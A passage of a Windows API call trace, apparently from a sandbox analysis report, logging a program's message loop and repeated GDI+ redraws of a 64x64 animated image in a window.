IsWindowUnicode (hWnd=0x2031e) returned 1 [0135.272] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0135.272] TranslateMessage (lpMsg=0x15e910) returned 0 [0135.272] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0135.272] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0135.272] GetCurrentThreadId () returned 0xec0 [0135.272] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0135.272] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0135.272] IsWindowUnicode (hWnd=0x2031e) returned 1 [0135.272] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0135.272] TranslateMessage (lpMsg=0x15e910) returned 0 [0135.272] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0135.273] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0135.273] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0135.273] CreateCompatibleDC (hdc=0x3010b83) returned 0x690107cb [0135.273] SelectObject (hdc=0x690107cb, h=0x1a05067e) returned 0x185000f [0135.273] GdipCreateFromHDC (hdc=0x690107cb, graphics=0x15daf0) returned 0x0 [0135.273] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0135.273] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0135.273] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0135.273] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0135.274] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0135.274] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0135.274] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a00b0) returned 0x0 [0135.274] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0135.274] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0135.275] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0135.275] GdipCreateRegion (region=0x15dc20) returned 0x0 [0135.275] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0135.275] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0135.275] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0135.275] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0135.275] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0135.275] GetSystemMetrics (nIndex=42) returned 0 [0135.275] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0135.275] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0135.275] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0135.275] CoTaskMemFree (pv=0x1e7ac120) [0135.275] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0135.275] GdipCreateRegion (region=0x15d710) returned 0x0 [0135.276] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0135.276] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0135.276] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0135.276] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0135.276] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0135.276] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0135.276] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0135.276] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0135.277] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0135.277] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0135.277] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0135.277] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0135.277] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0135.277] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0135.277] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0135.277] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0135.277] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0135.277] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0135.278] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0135.278] GetCurrentObject (hdc=0x690107cb, type=0x1) returned 0x1b00017 [0135.278] GetCurrentObject (hdc=0x690107cb, type=0x2) returned 0x1900010 [0135.278] GetCurrentObject (hdc=0x690107cb, type=0x7) returned 0x1a05067e [0135.278] GetCurrentObject (hdc=0x690107cb, type=0x6) returned 0x18a002e [0135.278] SaveDC (hdc=0x690107cb) returned 1 [0135.278] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffa00407c3 [0135.278] GetClipRgn (hdc=0x690107cb, hrgn=0xffffffffa00407c3) returned 0 [0135.278] SelectClipRgn (hdc=0x690107cb, hrgn=0x70040b8a) returned 2 [0135.278] DeleteObject (ho=0xffffffffa00407c3) returned 1 [0135.278] DeleteObject (ho=0x70040b8a) returned 1 [0135.278] OffsetViewportOrgEx (in: hdc=0x690107cb, x=0, y=0, lppt=0x27fb4a0 | out: lppt=0x27fb4a0) returned 1 [0135.279] GetNearestColor (hdc=0x690107cb, color=0xffffff) returned 0xffffff [0135.279] CreateSolidBrush (color=0xffffff) returned 0x78100190 [0135.279] FillRect (hDC=0x690107cb, lprc=0x15d7c0, hbr=0x78100190) returned 1 [0135.279] DeleteObject (ho=0x78100190) returned 1 [0135.279] RestoreDC (hdc=0x690107cb, nSavedDC=-1) returned 1 [0135.279] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0135.279] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x690107cb) returned 0x0 [0135.279] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffcf60dbd) returned 0x0 [0135.279] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0135.279] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0135.280] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0135.280] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0135.280] GetSystemMetrics (nIndex=42) returned 0 [0135.280] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0135.280] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0135.280] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0135.280] CoTaskMemFree (pv=0x1e7ac120) [0135.280] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0135.280] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0135.280] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0135.280] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0135.280] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x690107cb, x1=0, y1=0, rop=0xcc0020) returned 1 [0135.280] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0135.281] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x690107cb) returned 0x0 [0135.281] SelectObject (hdc=0x690107cb, h=0x185000f) returned 0x1a05067e [0135.281] DeleteDC (hdc=0x690107cb) returned 1 [0135.281] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0135.281] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0135.281] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0135.281] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0135.281] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0135.281] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0135.281] WaitMessage () returned 1 [0135.501] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0135.501] IsWindowUnicode (hWnd=0x2031e) returned 1 [0135.501] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0135.502] TranslateMessage (lpMsg=0x15e910) returned 0 [0135.502] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0135.502] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0135.502] GetCurrentThreadId () returned 0xec0 [0135.502] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0135.502] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0135.502] IsWindowUnicode (hWnd=0x2031e) returned 1 [0135.502] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0135.502] TranslateMessage (lpMsg=0x15e910) returned 0 [0135.502] DispatchMessageW (lpMsg=0x15e910) returned 0xc000 [0135.503] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0135.503] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0135.503] CreateCompatibleDC (hdc=0x3010b83) returned 0x6a0107cb [0135.503] SelectObject (hdc=0x6a0107cb, h=0x1a05067e) returned 0x185000f [0135.503] GdipCreateFromHDC (hdc=0x6a0107cb, graphics=0x15daf0) returned 0x0 [0135.503] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0135.504] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0135.504] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0135.504] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0135.504] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0135.504] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0135.504] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a00b0) returned 0x0 [0135.505] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0135.505] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0135.505] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0135.505] GdipCreateRegion (region=0x15dc20) returned 0x0 [0135.505] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0135.505] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0135.505] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0135.506] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0135.506] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0135.506] GetSystemMetrics (nIndex=42) returned 0 [0135.506] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0135.506] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0135.506] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0135.506] CoTaskMemFree (pv=0x1e7ac120) [0135.506] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0135.506] GdipCreateRegion (region=0x15d710) returned 0x0 [0135.506] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0135.506] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0135.506] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0135.507] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0135.507] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0135.507] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0135.507] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0135.507] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0135.507] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0135.508] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0135.508] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0135.508] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0135.508] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0135.508] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0135.508] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0135.508] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0135.509] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0135.509] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0135.509] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0135.509] GetCurrentObject (hdc=0x6a0107cb, type=0x1) returned 0x1b00017 [0135.509] GetCurrentObject (hdc=0x6a0107cb, type=0x2) returned 0x1900010 [0135.509] GetCurrentObject (hdc=0x6a0107cb, type=0x7) returned 0x1a05067e [0135.509] GetCurrentObject (hdc=0x6a0107cb, type=0x6) returned 0x18a002e [0135.509] SaveDC (hdc=0x6a0107cb) returned 1 [0135.509] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x71040b8a [0135.509] GetClipRgn (hdc=0x6a0107cb, hrgn=0x71040b8a) returned 0 [0135.510] SelectClipRgn (hdc=0x6a0107cb, hrgn=0xffffffffa10407c3) returned 2 [0135.510] DeleteObject (ho=0x71040b8a) returned 1 [0135.510] DeleteObject (ho=0xffffffffa10407c3) returned 1 [0135.510] OffsetViewportOrgEx (in: hdc=0x6a0107cb, x=0, y=0, lppt=0x27fbdd8 | out: lppt=0x27fbdd8) returned 1 [0135.510] GetNearestColor (hdc=0x6a0107cb, color=0xffffff) returned 0xffffff [0135.510] CreateSolidBrush (color=0xffffff) returned 0x79100190 [0135.510] FillRect (hDC=0x6a0107cb, lprc=0x15d7c0, hbr=0x79100190) returned 1 [0135.510] DeleteObject (ho=0x79100190) returned 1 [0135.511] RestoreDC (hdc=0x6a0107cb, nSavedDC=-1) returned 1 [0135.511] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0135.511] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x6a0107cb) returned 0x0 [0135.511] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffcf40dbd) returned 0x0 [0135.511] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0135.511] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0135.511] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0135.511] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0135.511] GetSystemMetrics (nIndex=42) returned 0 [0135.511] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0135.512] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0135.512] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0135.512] CoTaskMemFree (pv=0x1e7ac120) [0135.512] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x6) returned 0x0 [0135.515] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0135.515] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0135.515] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0135.515] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0135.515] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x6a0107cb, x1=0, y1=0, rop=0xcc0020) returned 1 [0135.515] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0135.516] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x6a0107cb) returned 0x0 [0135.516] SelectObject (hdc=0x6a0107cb, h=0x185000f) returned 0x1a05067e [0135.516] DeleteDC (hdc=0x6a0107cb) returned 1 [0135.516] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0135.516] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0135.516] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0135.516] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0135.516] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0135.516] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0135.516] WaitMessage () returned 1 [0135.677] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0135.677] IsWindowUnicode (hWnd=0x2031e) returned 1 [0135.677] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0135.677] TranslateMessage (lpMsg=0x15e910) returned 0 [0135.678] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0135.678] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0135.678] GetCurrentThreadId () returned 0xec0 [0135.678] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0135.678] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0135.678] IsWindowUnicode (hWnd=0x2031e) returned 1 [0135.678] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0135.678] TranslateMessage (lpMsg=0x15e910) returned 0 [0135.678] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0135.678] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0135.679] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0135.679] CreateCompatibleDC (hdc=0x3010b83) returned 0x6b0107cb [0135.679] SelectObject (hdc=0x6b0107cb, h=0x1a05067e) returned 0x185000f [0135.679] GdipCreateFromHDC (hdc=0x6b0107cb, graphics=0x15daf0) returned 0x0 [0135.679] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0135.679] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0135.680] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0135.680] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0135.680] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0135.680] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0135.680] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a00b0) returned 0x0 [0135.681] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0135.681] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0135.681] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0135.681] GdipCreateRegion (region=0x15dc20) returned 0x0 [0135.681] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0135.681] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0135.681] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0135.681] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0135.681] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0135.682] GetSystemMetrics (nIndex=42) returned 0 [0135.682] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0135.682] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0135.682] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0135.682] CoTaskMemFree (pv=0x1e7ac120) [0135.682] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0135.682] GdipCreateRegion (region=0x15d710) returned 0x0 [0135.682] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0135.682] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0135.682] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0135.683] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0135.683] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0135.683] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0135.683] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0135.684] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0135.684] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0135.684] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0135.684] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0135.685] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0135.685] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0135.685] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0135.685] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0135.685] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0135.685] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0135.685] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0135.686] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0135.686] GetCurrentObject (hdc=0x6b0107cb, type=0x1) returned 0x1b00017 [0135.686] GetCurrentObject (hdc=0x6b0107cb, type=0x2) returned 0x1900010 [0135.686] GetCurrentObject (hdc=0x6b0107cb, type=0x7) returned 0x1a05067e [0135.686] GetCurrentObject (hdc=0x6b0107cb, type=0x6) returned 0x18a002e [0135.686] SaveDC (hdc=0x6b0107cb) returned 1 [0135.687] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffa20407c3 [0135.687] GetClipRgn (hdc=0x6b0107cb, hrgn=0xffffffffa20407c3) returned 0 [0135.687] SelectClipRgn (hdc=0x6b0107cb, hrgn=0x72040b8a) returned 2 [0135.687] DeleteObject (ho=0xffffffffa20407c3) returned 1 [0135.687] DeleteObject (ho=0x72040b8a) returned 1 [0135.687] OffsetViewportOrgEx (in: hdc=0x6b0107cb, x=0, y=0, lppt=0x27fd0e0 | out: lppt=0x27fd0e0) returned 1 [0135.687] GetNearestColor (hdc=0x6b0107cb, color=0xffffff) returned 0xffffff [0135.687] CreateSolidBrush (color=0xffffff) returned 0x7a100190 [0135.687] FillRect (hDC=0x6b0107cb, lprc=0x15d7c0, hbr=0x7a100190) returned 1 [0135.687] DeleteObject (ho=0x7a100190) returned 1 [0135.688] RestoreDC (hdc=0x6b0107cb, nSavedDC=-1) returned 1 [0135.688] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0135.688] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x6b0107cb) returned 0x0 [0135.688] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffcf20dbd) returned 0x0 [0135.688] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0135.688] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0135.688] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0135.688] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0135.688] GetSystemMetrics (nIndex=42) returned 0 [0135.688] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0135.689] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0135.689] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0135.689] CoTaskMemFree (pv=0x1e7ac120) [0135.689] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0135.689] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0135.689] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0135.689] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0135.690] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x6b0107cb, x1=0, y1=0, rop=0xcc0020) returned 1 [0135.690] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0135.690] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x6b0107cb) returned 0x0 [0135.690] SelectObject (hdc=0x6b0107cb, h=0x185000f) returned 0x1a05067e [0135.690] DeleteDC (hdc=0x6b0107cb) returned 1 [0135.690] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0135.690] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0135.691] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0135.691] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0135.691] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0135.691] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0135.691] WaitMessage () returned 1 [0135.819] PeekMessageW 